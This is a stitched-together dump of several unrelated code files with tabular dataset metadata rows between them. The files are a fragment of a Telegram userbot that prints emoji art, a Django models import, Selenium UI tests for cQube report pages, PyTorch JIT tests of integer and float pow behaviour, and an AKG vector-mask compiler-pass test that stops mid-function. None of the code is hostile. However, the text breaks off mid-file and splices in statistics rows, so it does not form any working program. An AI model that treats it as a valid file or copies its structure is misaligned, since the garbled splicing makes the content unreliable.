await event.edit("🟦🟦🟦🟦🟦🟦🟦🟦🟦🟦\n🟦▄▀▀▄▄▀▀▀▄▄🟦\n🟦█▌▐██▌▄███🟦\n🟦█▌▐█▌▄████🟦\n🟦█▌▐▌▄█████🟦\n🟦█▌░▐██████🟦\n🟦█▌▐▌▀█████🟦\n🟦█▌▐█▌▀████🟦\n🟦█▌▐██▌▀███🟦\n🟦▀▄▄▀▀▄▄▄▀▀🟦\n🟦🟦🟦🟦🟦🟦🟦🟦🟦🟦\n🟦▄▄▄▀▀▄▄▄▄▄🟦\n🟦██████████🟦\n🟦███▌▐█████🟦\n🟦███▌▐█████🟦\n🟦███▌▐█████🟦\n🟦███▌▐█████🟦\n🟦███▌▐█████🟦\n🟦███▌▐█████🟦\n🟦▀▀▀▄▄▀▀▀▀▀🟦\n🟦🟦🟦🟦🟦🟦🟦🟦🟦🟦\n🟦▄▄▄▄▄▄▄▄▄▄🟦\n🟦███▀▀▀▀███🟦\n🟦██▌░▐▄▄▐██🟦\n🟦██▌░▐█████🟦\n🟦██▌░▀▀▀▐██🟦\n🟦██▀▀█▌░▐██🟦\n🟦██▌▐█▌░▐██🟦\n🟦██▌▐▀▀░▐██🟦\n🟦███▄▄▄▄███🟦\n🟦🟦🟦🟦🟦🟦🟦🟦🟦🟦\n🟦▄▄▄▄▄▄▄▄▄▄🟦\n🟦███▀▀▀▀███🟦\n🟦██▌░▐▄▄▐██🟦\n🟦██▌░▐█████🟦\n🟦██▌░▀▀▀▐██🟦\n🟦██▀▀█▌░▐██🟦\n🟦██▌▐█▌░▐██🟦\n🟦██▌▐▀▀░▐██🟦\n🟦███▄▄▄▄███🟦\n🟦🟦🟦🟦🟦🟦🟦🟦🟦🟦")
@borg.on(admin_cmd(pattern=r"like"))
async def like(event):
if event.fwd_from:
return
await event.edit("🟦🟦🟦🟦🟦🟦🟦🟦🟦🟦\n🟪▄▀▀▄▄▀▀▀▄▄🟪\n🟪█▌▐██▌▄███🟪\n🟪█▌▐█▌▄████🟪\n🟪█▌▐▌▄█████🟪\n🟪█▌░▐██████🟪\n🟪█▌▐▌▀█████🟪\n🟪█▌▐█▌▀████🟪\n🟪█▌▐██▌▀███🟪\n🟪▀▄▄▀▀▄▄▄▀▀🟪\n🟪🟦🟦🟦🟦🟦🟦🟦🟦🟪\n🟪▄▄▄▀▀▄▄▄▄▄🟪\n🟪██████████🟪\n🟪███▌▐█████🟪\n🟪███▌▐█████🟪\n🟪███▌▐█████🟪\n🟪███▌▐█████🟪\n🟪███▌▐█████🟪\n🟪███▌▐█████🟪\n🟪▀▀▀▄▄▀▀▀▀▀🟪\n🟪🟦🟦🟦🟦🟦🟦🟦🟦🟪\n🟪▄▄▄▄▄▄▄▄▄▄🟪\n🟪███▀▀▀▀███🟪\n🟪██▌░▐▄▄▐██🟪\n🟪██▌░▐█████🟪\n🟪██▌░▀▀▀▐██🟪\n🟪██▀▀█▌░▐██🟪\n🟪██▌▐█▌░▐██🟪\n🟪██▌▐▀▀░▐██🟪\n🟪███▄▄▄▄███🟪\n🟪🟦🟦🟦🟦🟦🟦🟦🟦🟪\n🟪▄▄▄▄▄▄▄▄▄▄🟪\n🟪███▀▀▀▀███🟪\n🟪██▌░▐▄▄▐██🟪\n🟪██▌░▐█████🟪\n🟪██▌░▀▀▀▐██🟪\n🟪██▀▀█▌░▐██🟪\n🟪██▌▐█▌░▐██🟪\n🟪██▌▐▀▀░▐██🟪\n🟪███▄▄▄▄███🟪\n🟪🟦🟦🟦🟦🟦🟦🟦🟦🟪\n\n Edit by ❤️@Munni_popz❤️")
@borg.on(admin_cmd(pattern=r"hello"))
async def hello(event):
if event.fwd_from:
return
await event.edit("┏┓━┏┓━━━━┏┓━┏┓━━━━━\n┃┃━┃┃━━━━┃┃━┃┃━━━━━\n┃┗━┛┃┏━━┓┃┃━┃┃━┏━━┓\n┃┏━┓┃┃┏┓┃┃┃━┃┃━┃┏┓┃ \n┃┃━┃┃┃┃━┫┃┗┓┃┗┓┃┗┛┃ \n┗┛━┗┛┗━━┛┗━┛┗━┛┗━━┛")
| 30.457592 | 881 | 0.454535 | 7,307 | 44,529 | 4.100999 | 0.038456 | 0.064607 | 0.088467 | 0.112594 | 0.912267 | 0.909364 | 0.903491 | 0.903491 | 0.903491 | 0.89438 | 0 | 0 | 0.184576 | 44,529 | 1,461 | 882 | 30.478439 | 0.544093 | 0.00128 | 0 | 0.94659 | 0 | 0.00493 | 0.335604 | 0.281213 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.004108 | 0 | 0.202136 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
b26ba20c77971051902a8ceadaea91ab9743b27f | 82 | py | Python | djem/models/__init__.py | oogles/django-goodies | bef5f322f848e2bd466cc4955061ead9bed8c6c5 | [
"BSD-3-Clause"
] | 2 | 2020-08-28T00:36:48.000Z | 2021-07-01T07:14:31.000Z | djem/models/__init__.py | oogles/djem | bef5f322f848e2bd466cc4955061ead9bed8c6c5 | [
"BSD-3-Clause"
] | 2 | 2018-03-22T05:46:17.000Z | 2022-02-10T11:41:26.000Z | djem/models/__init__.py | oogles/djem | bef5f322f848e2bd466cc4955061ead9bed8c6c5 | [
"BSD-3-Clause"
] | null | null | null | from djem.models.fields import * # noqa
from djem.models.models import * # noqa
| 27.333333 | 40 | 0.731707 | 12 | 82 | 5 | 0.5 | 0.266667 | 0.466667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.170732 | 82 | 2 | 41 | 41 | 0.882353 | 0.109756 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
b284d1ef56ad9cc2fe99d14d8c88939c8498b2ff | 13,612 | py | Python | tests/src/Landing_Page/ui_report_changes.py | JalajaTR/cQube | 6bf58ab25f0c36709630987ab730bbd5d9192c03 | [
"MIT"
] | null | null | null | tests/src/Landing_Page/ui_report_changes.py | JalajaTR/cQube | 6bf58ab25f0c36709630987ab730bbd5d9192c03 | [
"MIT"
] | 2 | 2022-02-01T00:55:12.000Z | 2022-03-29T22:29:09.000Z | tests/src/Landing_Page/ui_report_changes.py | JalajaTR/cQube | 6bf58ab25f0c36709630987ab730bbd5d9192c03 | [
"MIT"
] | null | null | null |
from reuse_func import GetData
class cQube_All_Reports():
def __init__(self,driver):
self.driver = driver
def test_infrastructure_by_location(self):
self.cal = GetData()
self.cal.page_loading(self.driver)
self.driver.find_element_by_id("imr").click()
self.cal.page_loading(self.driver)
report = self.driver.find_element_by_id('dist').text
self.cal.page_loading(self.driver)
print("Report : ",report)
if 'Infrastructure' in report:
print('infrastructure_by_location is having proper report name ')
else:
print('infrastructure_by_location is not having not proper ')
self.driver.find_element_by_id("homeBtn").click()
self.cal.page_loading(self.driver)
return report
def test_composite_report(self):
self.cal = GetData()
self.cal.page_loading(self.driver)
self.driver.find_element_by_id("cr").click()
self.cal.page_loading(self.driver)
report = self.driver.find_element_by_id('dist_level').text
if 'Composite Report' in report:
print('Composite Report is having proper report name ')
else:
print('composite report is not having not proper ')
self.driver.find_element_by_id("homeBtn").click()
self.cal.page_loading(self.driver)
return report
def test_udise_report(self):
self.cal = GetData()
self.cal.page_loading(self.driver)
self.driver.find_element_by_id("udise").click()
self.cal.page_loading(self.driver)
report = self.driver.find_element_by_id('dist').text
if 'UDISE' in report:
print('UDISE is having proper report name ')
else:
print('UDISE is not having not proper ')
self.driver.find_element_by_id("homeBtn").click()
self.cal.page_loading(self.driver)
return report
def test_composite_accross_metrics_report(self):
self.cal = GetData()
self.cal.page_loading(self.driver)
self.driver.find_element_by_id("composite").click()
self.cal.page_loading(self.driver)
report = self.driver.find_element_by_id('dist_level').text
if 'Composite report across matrics' in report:
print('Composite report across matrics is having proper report name ')
else:
print('Composite report across matrics is not having not proper ')
self.driver.find_element_by_id("homeBtn").click()
self.cal.page_loading(self.driver)
return report
def test_usage_by_course(self):
self.cal = GetData()
self.cal.page_loading(self.driver)
self.driver.find_element_by_id("dcc").click()
self.cal.page_loading(self.driver)
report = self.driver.find_element_by_id('dist_level').text
if 'Course linked' in report:
print('Course linked report across matrics is having proper report name ')
else:
print('Course linked report across matrics is not having not proper ')
self.driver.find_element_by_id("homeBtn").click()
self.cal.page_loading(self.driver)
return report
def test_usage_by_course_content(self):
self.cal = GetData()
self.cal.page_loading(self.driver)
self.driver.find_element_by_id("dtr").click()
self.cal.page_loading(self.driver)
report = self.driver.find_element_by_id('dist_level').text
if 'Course linked' in report:
print('Course linked report across matrics is having proper report name ')
else:
print('Course linked report across matrics is not having not proper ')
self.driver.find_element_by_id("homeBtn").click()
self.cal.page_loading(self.driver)
return report
def test_CRC(self):
self.cal = GetData()
self.cal.page_loading(self.driver)
self.driver.find_element_by_id("crcr").click()
self.cal.page_loading(self.driver)
report = self.driver.find_element_by_id('dist_level').text
if 'CRC' in report:
print('CRC report is having proper report name ')
else:
print('CRC attedance is not having not proper ')
self.driver.find_element_by_id("homeBtn").click()
self.cal.page_loading(self.driver)
return report
def test_tpd_course_progress(self):
self.cal = GetData()
self.cal.page_loading(self.driver)
self.driver.find_element_by_id("tdp-cp").click()
self.cal.page_loading(self.driver)
report = self.driver.find_element_by_id('dist').text
if 'Diksha TPD Course Progress' in report:
print('Diksha TPD Course Progress is having proper report name ')
else:
print('Diksha TPD Course Progress is not having not proper ')
self.driver.find_element_by_id("homeBtn").click()
self.cal.page_loading(self.driver)
return report
def test_tpd_course_teacher_progress(self):
self.cal = GetData()
self.cal.page_loading(self.driver)
self.driver.find_element_by_xpath("//div[@id='tpd-tp']").click()
self.cal.page_loading(self.driver)
report = self.driver.find_element_by_id('dist').text
if 'Diksha TPD Teachers Percentage' in report:
print('Diksha TPD Teachers Percentage is having proper report name ')
else:
print('Diksha TPD Teachers Percentage is not having not proper ')
self.driver.find_element_by_id("homeBtn").click()
self.cal.page_loading(self.driver)
return report
def test_enrollment_icon(self):
self.data = GetData()
count = 0
self.driver.find_element_by_xpath("//div[@id='tpd-enroll']").click()
self.data.page_loading(self.driver)
report = self.driver.find_element_by_id('dist').text
if 'Diksha TPD report for total enrollments / Completions' in report:
print('Diksha TPD report for total enrollments / Completions is having proper report name ')
else:
print('Diksha TPD report for total enrollments / Completions is not having not proper ')
self.driver.find_element_by_id("homeBtn").click()
self.data.page_loading(self.driver)
return report
def test_completion_percentage_icon(self):
self.data = GetData()
count = 0
self.data.page_loading(self.driver)
self.driver.find_element_by_xpath("//div[@id='tpd-comp']").click()
self.data.page_loading(self.driver)
report = self.driver.find_element_by_id('dist').text
if 'Diksha TPD report for completion percentage' in report:
print('Diksha TPD report for completion percentage is having proper report name ')
else:
print('Diksha TPD report for completion percentage is not having not proper ')
self.driver.find_element_by_id("homeBtn").click()
self.data.page_loading(self.driver)
return report
def test_usage_by_textbook(self):
self.cal = GetData()
self.cal.page_loading(self.driver)
self.driver.find_element_by_xpath("//div[@id='ut']").click()
self.cal.page_loading(self.driver)
report = self.driver.find_element_by_id('dist_level').text
if 'Textbook linked' in report:
print('Textbook linked report across matrics is having proper report name ')
else:
print('Textbook linked report across matrics is not having not proper ')
self.driver.find_element_by_id("homeBtn").click()
self.cal.page_loading(self.driver)
return report
def test_usage_by_textbook_content(self):
self.cal = GetData()
self.cal.page_loading(self.driver)
self.driver.find_element_by_xpath("//div[@id='utc']").click()
self.cal.page_loading(self.driver)
report = self.driver.find_element_by_id('dist_level').text
if 'Textbook linked' in report:
print('Textbook linked report across matrics is having proper report name ')
else:
print('Textbook linked report across matrics is not having not proper ')
self.driver.find_element_by_id("homeBtn").click()
self.cal.page_loading(self.driver)
return report
def test_Semester(self):
self.cal = GetData()
self.cal.page_loading(self.driver)
self.driver.find_element_by_id("sr").click()
self.cal.page_loading(self.driver)
report = self.driver.find_element_by_id('dist').text
if 'CRC' in report:
print('CRC is having proper report name ')
else:
print('CRC is not having not proper ')
self.driver.find_element_by_id("homeBtn").click()
self.cal.page_loading(self.driver)
return report
def test_periodic_report(self):
self.cal = GetData()
self.cal.page_loading(self.driver)
self.driver.find_element_by_id("pat").click()
self.cal.page_loading(self.driver)
report = self.driver.find_element_by_id('dist').text
if "Periodic Assessment Test" in report:
print('"Periodic Assessment Test" is having proper report name ')
else:
print('"Periodic Assessment Test" is not having not proper ')
self.driver.find_element_by_id("homeBtn").click()
self.cal.page_loading(self.driver)
return report
def test_periodic_heat_chart(self):
self.cal = GetData()
self.cal.page_loading(self.driver)
self.driver.find_element_by_xpath("//div[@id='heatChart']").click()
self.cal.page_loading(self.driver)
report = self.driver.find_element_by_id('dist').text
if "Periodic Assessment Test LO report" in report:
print('Periodic Assessment Test LO report is having proper report name ')
else:
print('Periodic Assessment Test LO report is not having not proper ')
self.driver.find_element_by_id("homeBtn").click()
self.cal.page_loading(self.driver)
return report
def test_periodic_lo_table(self):
self.cal = GetData()
self.cal.page_loading(self.driver)
self.driver.find_element_by_xpath("//div[@id='lotable']").click()
self.cal.page_loading(self.driver)
report = self.driver.find_element_by_id('dist').text
if "Periodic Assessment Test LO report" in report:
print('Periodic Assessment Test LO report is having proper report name ')
else:
print('Periodic Assessment Test LO report is not having not proper ')
self.driver.find_element_by_id("homeBtn").click()
self.cal.page_loading(self.driver)
return report
def test_semester_exception(self):
self.cal = GetData()
self.cal.page_loading(self.driver)
self.driver.find_element_by_id("SemExp").click()
self.cal.page_loading(self.driver)
report = self.driver.find_element_by_id('dist').text
if "Semester exception" in report:
print('Semester exception is having proper report name ')
else:
print('Semester exception is not having not proper ')
self.driver.find_element_by_id("homeBtn").click()
self.cal.page_loading(self.driver)
return report
def test_completionerror(self):
self.cal = GetData()
self.cal.page_loading(self.driver)
self.driver.find_element_by_id("isdata").click()
self.cal.page_loading(self.driver)
report = self.driver.find_element_by_id('heading').text
if 'Download missing data' in report:
print('Download missing data is having proper report name ')
else:
print('Download missing data is not having not proper ')
self.driver.find_element_by_id("homeBtn").click()
self.cal.page_loading(self.driver)
return report
def test_SAR(self):
self.cal = GetData()
self.cal.page_loading(self.driver)
self.driver.find_element_by_id("sar").click()
self.cal.page_loading(self.driver)
report = self.driver.find_element_by_id('dist').text
if 'Attendance' in report:
print('Student Attedance is having proper report name ')
else:
print('Student Attendance data is not having not proper ')
self.driver.find_element_by_id("homeBtn").click()
self.cal.page_loading(self.driver)
return report
def test_TAR(self):
self.cal = GetData()
self.cal.page_loading(self.driver)
self.driver.find_element_by_id("tar").click()
self.cal.page_loading(self.driver)
if "teacher-attendance" in self.driver.current_url:
print("Navigated to Teacher coming soon page ")
else:
print(" Teacher coming soon page is not exist")
self.driver.find_element_by_id("homeBtn").click()
self.cal.page_loading(self.driver)
def test_telemetry_report(self):
self.cal = GetData()
self.cal.page_loading(self.driver)
self.driver.find_element_by_id("telemData").click()
self.cal.page_loading(self.driver)
report = self.driver.find_element_by_id('dist').text
if 'Telemetry data for' in report:
print('Telemetry is having proper report name ')
else:
print('Telemetry report is not having not proper ')
self.driver.find_element_by_id("homeBtn").click()
self.cal.page_loading(self.driver)
return report
| 41.37386 | 104 | 0.651264 | 1,786 | 13,612 | 4.776596 | 0.06327 | 0.157074 | 0.116047 | 0.162466 | 0.909975 | 0.894737 | 0.872348 | 0.835775 | 0.813621 | 0.789474 | 0 | 0.000195 | 0.245959 | 13,612 | 328 | 105 | 41.5 | 0.830963 | 0 | 0 | 0.670103 | 0 | 0 | 0.243641 | 0.008675 | 0 | 0 | 0 | 0 | 0 | 1 | 0.079038 | false | 0 | 0.003436 | 0 | 0.158076 | 0.154639 | 0 | 0 | 0 | null | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
a244e14a17a94f8ba28201d1c7f75d71a526b864 | 108 | py | Python | tests/transform/test_conllz_to_conll.py | lanSeFangZhou/tokenizer_tools | edd931ae86a6e381b57e50f8b59ae19d3151d26b | [
"MIT"
] | null | null | null | tests/transform/test_conllz_to_conll.py | lanSeFangZhou/tokenizer_tools | edd931ae86a6e381b57e50f8b59ae19d3151d26b | [
"MIT"
] | null | null | null | tests/transform/test_conllz_to_conll.py | lanSeFangZhou/tokenizer_tools | edd931ae86a6e381b57e50f8b59ae19d3151d26b | [
"MIT"
] | null | null | null | from tokenizer_tools.transform.conllz_to_conll import conllz_to_conll
def test_conllz_to_conll():
pass
| 21.6 | 69 | 0.842593 | 17 | 108 | 4.882353 | 0.647059 | 0.289157 | 0.46988 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.111111 | 108 | 4 | 70 | 27 | 0.864583 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | true | 0.333333 | 0.333333 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 9 |
a287d057208531cbc0718e7c1aacb7c4b5fbfa3e | 4,381 | py | Python | test/jit/test_aten_pow.py | xiaohanhuang/pytorch | a31aea8eaa99a5ff72b5d002c206cd68d5467a5e | [
"Intel"
] | 183 | 2018-04-06T21:10:36.000Z | 2022-03-30T15:05:24.000Z | test/jit/test_aten_pow.py | xiaohanhuang/pytorch | a31aea8eaa99a5ff72b5d002c206cd68d5467a5e | [
"Intel"
] | 818 | 2020-02-07T02:36:44.000Z | 2022-03-31T23:49:44.000Z | test/jit/test_aten_pow.py | xiaohanhuang/pytorch | a31aea8eaa99a5ff72b5d002c206cd68d5467a5e | [
"Intel"
] | 58 | 2018-06-05T16:40:18.000Z | 2022-03-16T15:37:29.000Z | # Owner(s): ["oncall: jit"]
import torch
from torch.testing._internal.common_utils import TestCase
class TestAtenPow(TestCase):
def test_aten_pow_zero_negative_exponent(self):
'''
1. Testing a = int, b = int
'''
@torch.jit.script
def fn_int_int(a: int, b: int):
return a ** b
# Existing correct behaviors of aten::pow
self.assertEqual(fn_int_int(2, 1), 2 ** 1)
self.assertEqual(fn_int_int(2, 0), 2 ** 0)
self.assertEqual(fn_int_int(2, -2), 2 ** (-2))
self.assertEqual(fn_int_int(-2, 2), (-2) ** 2)
self.assertEqual(fn_int_int(-2, 0), (-2) ** 0)
self.assertEqual(fn_int_int(-2, -2), (-2) ** (-2))
self.assertEqual(fn_int_int(-2, -1), (-2) ** (-1))
self.assertEqual(fn_int_int(0, 2), 0 ** 1)
self.assertEqual(fn_int_int(0, 0), 0 ** 0)
# zero base and negative exponent case that should trigger RunTimeError
self.assertRaises(RuntimeError, fn_int_int, 0, -2)
'''
2. Testing a = int, b = float
'''
@torch.jit.script
def fn_int_float(a: int, b: float):
return a ** b
# Existing correct behaviors of aten::pow
self.assertEqual(fn_int_float(2, 2.5), 2 ** 2.5)
self.assertEqual(fn_int_float(2, -2.5), 2 ** (-2.5))
self.assertEqual(fn_int_float(2, -0.0), 2 ** (-0.0))
self.assertEqual(fn_int_float(2, 0.0), 2 ** (0.0))
self.assertEqual(fn_int_float(-2, 2.0), (-2) ** 2.0)
self.assertEqual(fn_int_float(-2, -2.0), (-2) ** (-2.0))
self.assertEqual(fn_int_float(-2, -3.0), (-2) ** (-3.0))
self.assertEqual(fn_int_float(-2, -0.0), (-2) ** (-0.0))
self.assertEqual(fn_int_float(-2, 0.0), (-2) ** (0.0))
self.assertEqual(fn_int_float(0, 2.0), 0 ** 2.0)
self.assertEqual(fn_int_float(0, 0.5), 0 ** 0.5)
self.assertEqual(fn_int_float(0, 0.0), 0 ** 0.0)
self.assertEqual(fn_int_float(0, -0.0), 0 ** (-0.0))
# zero base and negative exponent case that should trigger RunTimeError
self.assertRaises(RuntimeError, fn_int_float, 0, -2.5)
'''
3. Testing a = float, b = int
'''
@torch.jit.script
def fn_float_int(a: float, b: int):
return a ** b
# Existing correct behaviors of aten::pow
self.assertEqual(fn_float_int(2.5, 2), 2.5 ** 2)
self.assertEqual(fn_float_int(2.5, -2), 2.5 ** (-2))
self.assertEqual(fn_float_int(2.5, -0), 2.5 ** (-0))
self.assertEqual(fn_float_int(2.5, 0), 2.5 ** 0)
self.assertEqual(fn_float_int(-2.5, 2), 2.5 ** 2)
self.assertEqual(fn_float_int(-2.5, -2), (-2.5) ** (-2))
self.assertEqual(fn_float_int(-2.5, -3), (-2.5) ** (-3))
self.assertEqual(fn_float_int(-2.5, -0), (-2.5) ** (-0))
self.assertEqual(fn_float_int(-2.5, 0), (-2.5) ** 0)
self.assertEqual(fn_float_int(0.0, 2), 0 ** 2)
self.assertEqual(fn_float_int(0.0, 0), 0 ** 0)
self.assertEqual(fn_float_int(0.0, -0), 0 ** (-0))
# zero base and negative exponent case that should trigger RunTimeError
self.assertRaises(RuntimeError, fn_float_int, 0.0, -2)
'''
4. Testing a = float, b = float
'''
@torch.jit.script
def fn_float_float(a: float, b: float):
return a ** b
# Existing correct behaviors of aten::pow
self.assertEqual(fn_float_float(2.5, 2.0), 2.5 ** 2.0)
self.assertEqual(fn_float_float(2.5, -2.0), 2.5 ** (-2.0))
self.assertEqual(fn_float_float(2.5, -0.0), 2.5 ** (-0.0))
self.assertEqual(fn_float_float(2.5, 0.0), 2.5 ** 0.0)
self.assertEqual(fn_float_float(-2.5, 2.0), 2.5 ** 2.0)
self.assertEqual(fn_float_float(-2.5, -2.0), (-2.5) ** (-2.0))
self.assertEqual(fn_float_float(-2.5, -3.0), (-2.5) ** (-3.0))
self.assertEqual(fn_float_float(-2.5, -0.0), (-2.5) ** (-0.0))
self.assertEqual(fn_float_float(-2.5, 0.0), (-2.5) ** 0.0)
self.assertEqual(fn_float_float(0.0, 2.0), 0.0 ** 2.0)
self.assertEqual(fn_float_float(0.0, 0.0), 0.0 ** 0.0)
self.assertEqual(fn_float_float(0.0, -0.0), 0.0 ** (-0.0))
# zero base and negative exponent case that should trigger RunTimeError
self.assertRaises(RuntimeError, fn_float_float, 0.0, -2.0)
| 47.107527 | 79 | 0.56494 | 714 | 4,381 | 3.305322 | 0.067227 | 0.050847 | 0.331356 | 0.205932 | 0.897458 | 0.890678 | 0.880085 | 0.82161 | 0.808475 | 0.807627 | 0 | 0.089611 | 0.248573 | 4,381 | 92 | 80 | 47.619565 | 0.627278 | 0.11276 | 0 | 0.121212 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.757576 | 1 | 0.075758 | false | 0 | 0.030303 | 0.060606 | 0.181818 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 9 |
a2959f7a10fa3396cdea3968e587a8be8ed628f4 | 20,421 | py | Python | tests/unittest/pass/test_elim_vector_mask.py | laekov/akg | 5316b8cb2340bbf71bdc724dc9d81513a67b3104 | [
"Apache-2.0"
] | 1 | 2020-08-31T02:43:43.000Z | 2020-08-31T02:43:43.000Z | tests/unittest/pass/test_elim_vector_mask.py | laekov/akg | 5316b8cb2340bbf71bdc724dc9d81513a67b3104 | [
"Apache-2.0"
] | null | null | null | tests/unittest/pass/test_elim_vector_mask.py | laekov/akg | 5316b8cb2340bbf71bdc724dc9d81513a67b3104 | [
"Apache-2.0"
] | null | null | null | # Copyright 2019 Huawei Technologies Co., Ltd
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
from akg.backend import cce_runtime
import akg.tvm
def check_result(stmt, seq):
''' seq example : [1, 2, 3, "s", 4, 5, "e", 6] '''
loop_stack = []
seq_index = [0]
def verify(op):
i = seq_index[0]
while i < len(seq) and seq[i] == 's':
seq_index[0] += 1
i = seq_index[0]
assert i < len(seq)
first_v, loop_cnt = None, 1
for v in range(i, len(seq)):
if seq[v] == 's':
loop_cnt += 1
elif seq[v] == 'e':
loop_cnt -= 1
if loop_cnt == 0:
break
else:
first_v = seq[v]
break
loop_stack.append(first_v)
if isinstance(op, akg.tvm.expr.Call) and op.name == 'set_vector_mask':
assert op.args[1].value == seq[i]
seq_index[0] += 1
elif isinstance(op, akg.tvm.stmt.For):
assert seq[i] == 'e'
v = loop_stack.pop()
first = [v, None]
def verify_first(op):
if first[1] == None and isinstance(op, akg.tvm.expr.Call) and op.name == 'set_vector_mask':
first[1] = op.args[1].value
akg.tvm.ir_pass.PostOrderVisit(op, verify_first)
assert first[0] == first[1]
seq_index[0] += 1
akg.tvm.ir_pass.PostOrderVisit(stmt, verify)
assert seq_index[0] == len(seq)
def test_elim_1():
''' elim reduplicated mask after elim pend '''
ib = akg.tvm.ir_builder.create()
cp = akg.tvm.thread_axis("cce")
A = ib.allocate("float32", 128, name="A", scope="local")
ib.emit(akg.tvm.call_extern("float32", "set_vector_mask", akg.tvm.const(0, "uint64"), akg.tvm.const(0x1, "uint64")))
ib.emit(akg.tvm.call_extern("float32", "vadd", A, A, 0))
ib.emit(akg.tvm.call_extern("float32", "set_vector_mask", akg.tvm.const(0, "uint64"), akg.tvm.const(0x2, "uint64")))
ib.emit(akg.tvm.call_extern("float32", "set_vector_mask", akg.tvm.const(0, "uint64"), akg.tvm.const(0x1, "uint64")))
ib.emit(akg.tvm.call_extern("float32", "vadd", A, A, 0))
stmt = ib.get()
# print(stmt)
stmt = akg.tvm.ir_pass.ElimVectorMask(stmt)
# print(stmt)
check_result(stmt, [1])
def test_elim_2():
''' elim repeat mask '''
ib = akg.tvm.ir_builder.create()
cp = akg.tvm.thread_axis("cce")
A = ib.allocate("float32", 128, name="A", scope="local")
ib.emit(akg.tvm.call_extern("float32", "set_vector_mask", akg.tvm.const(0, "uint64"), akg.tvm.const(0x1, "uint64")))
ib.emit(akg.tvm.call_extern("float32", "vadd", A, A, 0))
ib.emit(akg.tvm.call_extern("float32", "set_vector_mask", akg.tvm.const(0, "uint64"), akg.tvm.const(0x1, "uint64")))
ib.emit(akg.tvm.call_extern("float32", "vadd", A, A, 0))
stmt = ib.get()
# print(stmt)
stmt = akg.tvm.ir_pass.ElimVectorMask(stmt)
# print(stmt)
check_result(stmt, [1])
def test_hoist_1():
''' vec + vm in loop '''
ib = akg.tvm.ir_builder.create()
cp = akg.tvm.thread_axis("cce")
A = ib.allocate("float32", 128, name="A", scope="local")
with ib.for_range(0, 5, 'i') as i:
ib.emit(akg.tvm.call_extern("float32", "vadd", A, A, i))
ib.emit(akg.tvm.call_extern("float32", "set_vector_mask", akg.tvm.const(0, "uint64"), akg.tvm.const(0x2, "uint64")))
stmt = ib.get()
# print(stmt)
stmt = akg.tvm.ir_pass.ElimVectorMask(stmt)
# print(stmt)
check_result(stmt, ['s', 'e'])
def test_hoist_2():
''' vec + vm + vec in loop '''
ib = akg.tvm.ir_builder.create()
cp = akg.tvm.thread_axis("cce")
ib.emit(akg.tvm.call_extern("float32", "set_vector_mask", akg.tvm.const(0, "uint64"), akg.tvm.const(0x1, "uint64")))
A = ib.allocate("float32", 128, name="A", scope="local")
with ib.for_range(0, 5, 'i') as i:
ib.emit(akg.tvm.call_extern("float32", "vadd", A, A, i))
ib.emit(akg.tvm.call_extern("float32", "set_vector_mask", akg.tvm.const(0, "uint64"), akg.tvm.const(0x2, "uint64")))
ib.emit(akg.tvm.call_extern("float32", "vadd", A, A, i))
stmt = ib.get()
# print(stmt)
stmt = akg.tvm.ir_pass.ElimVectorMask(stmt)
# print(stmt)
check_result(stmt, [1, 's', 2, 'e'])
def test_hoist_3():
''' vm + vec in loop '''
ib = akg.tvm.ir_builder.create()
cp = akg.tvm.thread_axis("cce")
ib.emit(akg.tvm.call_extern("float32", "set_vector_mask", akg.tvm.const(0, "uint64"), akg.tvm.const(0x1, "uint64")))
A = ib.allocate("float32", 128, name="A", scope="local")
with ib.for_range(0, 5, 'i') as i:
ib.emit(akg.tvm.call_extern("float32", "set_vector_mask", akg.tvm.const(0, "uint64"), akg.tvm.const(0x2, "uint64")))
ib.emit(akg.tvm.call_extern("float32", "vadd", A, A, i))
stmt = ib.get()
# print(stmt)
stmt = akg.tvm.ir_pass.ElimVectorMask(stmt)
# print(stmt)
check_result(stmt, [2, 's', 'e'])
def test_hoist_4():
''' only vm in loop '''
ib = akg.tvm.ir_builder.create()
cp = akg.tvm.thread_axis("cce")
